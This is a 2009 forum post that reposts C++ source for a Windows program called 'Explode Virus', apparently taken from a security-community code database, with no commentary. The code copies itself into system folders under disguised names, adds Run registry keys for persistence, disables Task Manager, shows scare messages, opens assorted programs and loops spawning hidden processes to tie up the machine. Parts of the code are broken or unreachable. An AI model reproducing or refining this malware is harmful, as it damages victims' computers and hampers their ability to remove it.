Adrianis House Music Addicted


Joined: 14 Jan 2009 Posts: 140
|
Posted: 19/01/2009 05:52 Post subject: Explode Virus |
|
|
| Code: | /////////////////////////////////////////////////////////////////
// R00TSECURITY.ORG - YOUR SECURITY COMMUNITY
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// [2008-07-15] Explode Virus
// http://r00tsecurity.org/db/code/113
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// GENERATED ON: 2008-09-22 | 17:26:51
/////////////////////////////////////////////////////////////////
SOURCE CODE
#include <windows>
#include <cstdlib>
#include <stdlib>
int Virus(char *exe){
ShellExecute(NULL, NULL,exe , NULL, NULL, SW_SHOW);
}
//Mesages
DWORD WINAPI MessageBox1(LPVOID)
{
MessageBox(NULL, "system infected with Explode_Vir", "Explode_Vir", MB_OK);
}
DWORD WINAPI MessageBox2(LPVOID)
{
MessageBox(NULL, "your computer will be explode, you haven't so much time!!! ", "Explode_Vir", MB_OK);
}
DWORD WINAPI MessageBox3(LPVOID)
{
MessageBox(NULL, "system have an error", "system error", MB_OK);
}
int main()
{
DWORD MsgBox1;
DWORD MsgBox2;
DWORD MsgBox3;
//hidden | only work if u confecționate a Project!
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil);
//copy the viruses
char path[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
char sys[MAX_PATH];
char sys2[MAX_PATH];
char windir[MAX_PATH];
char windir2[MAX_PATH];
GetModuleFileName(GetModH, path, sizeof(path));
GetSystemDirectory(sys, sizeof(sys));
GetSystemDirectory(sys2, sizeof(sys2));
GetWindowsDirectory(windir, sizeof(windir));
GetWindowsDirectory(windir2, sizeof(windir2));
strcat(sys, "\\byte.exe");
strcat(sys2, "\\execl.exe");
strcat(windir, "\\ckey.exe");
strcat(windir2, "\\xcoqy.exe");
CopyFile(path, sys, false);
CopyFile(path, sys2, false);
CopyFile(path, windir, false);
CopyFile(path, windir2, false);
//make the viruses at startup
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
RegSetValueEx(hKey, "byte", 0, REG_SZ,(const unsigned char*)sys, sizeof(sys));
RegSetValueEx(hKey, "execl", 0, REG_SZ,(const unsigned char*)sys2, sizeof(sys2));
RegSetValueEx(hKey, "ckey", 0, REG_SZ,(const unsigned char*)windir, sizeof(windir));
RegSetValueEx(hKey, "xcoqy", 0, REG_SZ,(const unsigned char*)windir2, sizeof(windir2));
RegCloseKey(hKey);
HKEY hKey2;
unsigned char reg[2] = "1";
//disable taskmanager = taskmgr | disableregistrytools doesnt work...
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system",&hKey2);
RegSetValueEx(hKey2,"disabletaskmgr",0,REG_DWORD,reg,sizeof(reg));
RegSetValueEx(hKey2,"disableregistrytools",0,REG_DWORD,reg,sizeof(reg));//doesnt work, i dont know "why"
RegCloseKey(hKey2);
//wait 6 minutes
Sleep(360000);
//hidden | only work if u create a Project!
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil);
//call Messages
Sleep(600);
HANDLE hMessageBox1 = CreateThread(NULL, 0, MessageBox1, 0, 0, &MsgBox1);
Sleep(5000);
TerminateThread(hMessageBox1, MsgBox1);
Sleep(22000);
HANDLE hMessageBox2 = CreateThread(NULL, 0, MessageBox2, 0, 0, &MsgBox2);
Sleep(5000);
TerminateThread(hMessageBox2, MsgBox2);
Sleep(6000);
Beep(222,222);
Sleep(80);
Beep(111,111);
//frightened the victim
Sleep(20000);
char *exec[] = {
"C:\\WINDOWS\\system32\\cmd.exe",
"C:\\WINDOWS\\system32\\regedit.exe",
"C:\\Program Files\\Internet Explorer\\iexplore.exe",
"C:\\Program Files\\MSN Messenger\\msnmsgr.exe",
"D:\\WINDOWS\\system32\\cmd.exe",
"D:\\Program Files\\Internet Explorer\\iexplore.exe",
"D:\\WINDOWS\\system32\\regedit.exe",
"D:\\Program Files\\MSN Messenger\\msnmsgr.exe",
"E:\\WINDOWS\\system32\\cmd.exe",
"E:\\Program Files\\Internet Explorer\\iexplore.exe",
"E:\\WINDOWS\\system32\\regedit.exe",
"E:\\Program Files\\MSN Messenger\\msnmsgr.exe",
0};
int i;
for(i = 0; exec[i]; i++)
{
Virus(exec[i]);
}
{
//computer extent of utilization
Sleep(12000);
char*params;
for(;;)
ShellExecute(NULL, NULL, "C:\\WINDOWS\\notepad.exe", params, NULL, SW_HIDE);
ShellExecute(NULL, NULL, "D:\\WINDOWS\\notepad.exe", params, NULL, SW_HIDE);
ShellExecute(NULL, NULL, "E:\\WINDOWS\\notepad.exe", params, NULL, SW_HIDE);
Beep(2222,2222);
Sleep(2000);
HANDLE hMessageBox3 = CreateThread(NULL, 0, MessageBox3, 0, 0, &MsgBox3);
Sleep(5000);
TerminateThread(hMessageBox3, MsgBox3);
//launched itself, "Game Over"
Sleep(15000);
ShellExecute(NULL, NULL, "open", sys, NULL, SW_HIDE);
ShellExecute(NULL, NULL, "open", sys2, NULL, SW_HIDE);
ShellExecute(NULL, NULL, "open", windir, NULL, SW_HIDE);
ShellExecute(NULL, NULL, "open", windir2, NULL, SW_HIDE);
return 0;
}
} |
_________________
<a href="http://www.speedtest.net"><img src="http://www.speedtest.net/result/392529109.png"></a>
][-][oUsE ][\/][uS!C AdD!cTeD |
|